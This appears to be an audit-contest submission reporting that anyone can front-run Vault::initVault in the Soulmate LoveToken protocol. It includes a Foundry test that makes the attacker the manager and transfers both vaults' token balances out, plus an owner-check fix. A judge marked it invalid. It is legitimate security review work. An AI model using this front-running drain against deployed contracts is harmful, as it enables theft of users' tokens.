Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Invalid

Anyone can call initVault and set managerContract to an arbitrary address leading to the theft of love tokens

Summary

Anyone can initialize the Vaultcontract, and set an arbitrary address as the manager contract enabling the tefth of Love Token Tokens.

Vulnerability Details

As the Soulmate protocol is being deployed there is an oppurtunity for an attacker to front run the initialization of the Vault contracts by calling function initVault(ILoveToken loveToken, address managerContract) public enabling them to set an arbitrary address as the managerContract. This in turn let's them steal all the funds in the Vault Contract.

POC

function test_anyone_can_init_vault() public {
address deployer = makeAddr("deployer");
address front_runner_attacker = makeAddr("attacker");
vm.startPrank(deployer);
Vault airdropVault = new Vault();
Vault stakingVault = new Vault();
Soulmate soulmateContract = new Soulmate();
LoveToken loveToken =
new LoveToken(ISoulmate(address(soulmateContract)), address(airdropVault), address(stakingVault));
Staking stakingContract = new Staking(
ILoveToken(address(loveToken)), ISoulmate(address(soulmateContract)), IVault(address(stakingVault))
);
Airdrop airdropContract = new Airdrop(
ILoveToken(address(loveToken)), ISoulmate(address(soulmateContract)), IVault(address(airdropVault))
);
vm.stopPrank();
vm.startPrank(front_runner_attacker);
airdropVault.initVault(ILoveToken(address(loveToken)), front_runner_attacker);
stakingVault.initVault(ILoveToken(address(loveToken)), front_runner_attacker);
loveToken.transferFrom(address(airdropVault), front_runner_attacker, loveToken.balanceOf(address(airdropVault)));
loveToken.transferFrom(address(stakingVault), front_runner_attacker, loveToken.balanceOf(address(stakingVault)));
assertEq(loveToken.balanceOf(front_runner_attacker), 500_000_000 * 2 ether);
}

Impact

All the love tokens that should be given as airdrop and staking rewards will be stolen leading to severe break in the protocol.

Tools Used

Foundry

Recommendations

To prevent the frontrunning the Vault contract should make it so that Vault::initVault is only called by a priveleged address.

contract Vault {
/*//////////////////////////////////////////////////////////////
ERRORS
//////////////////////////////////////////////////////////////*/
error Vault__AlreadyInitialized();
+ error Vault__OnlyOwner(address want, address have);
/*//////////////////////////////////////////////////////////////
STATE VARIABLES
//////////////////////////////////////////////////////////////*/
+ address immutable owner;
bool public vaultInitialize;
/*//////////////////////////////////////////////////////////////
FUNCTIONS
//////////////////////////////////////////////////////////////*/
+ constructor(){
+ owner = msg.sender;
+ }
/// @notice Init vault with the loveToken.
/// @notice Vault will approve its corresponding management contract to handle tokens.
/// @notice vaultInitialize protect against multiple initialization.
function initVault(ILoveToken loveToken, address managerContract) public {
+ if (msg.sender != owner){
+ revert Vault__OnlyOwner(owner,msg.sender);
+ }
if (vaultInitialize) revert Vault__AlreadyInitialized();
loveToken.initVault(managerContract);
vaultInitialize = true;
}
}

This will prevent anyone other than the deployer of the contract to call the initVault function and therefore prevent a frontrun attack.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.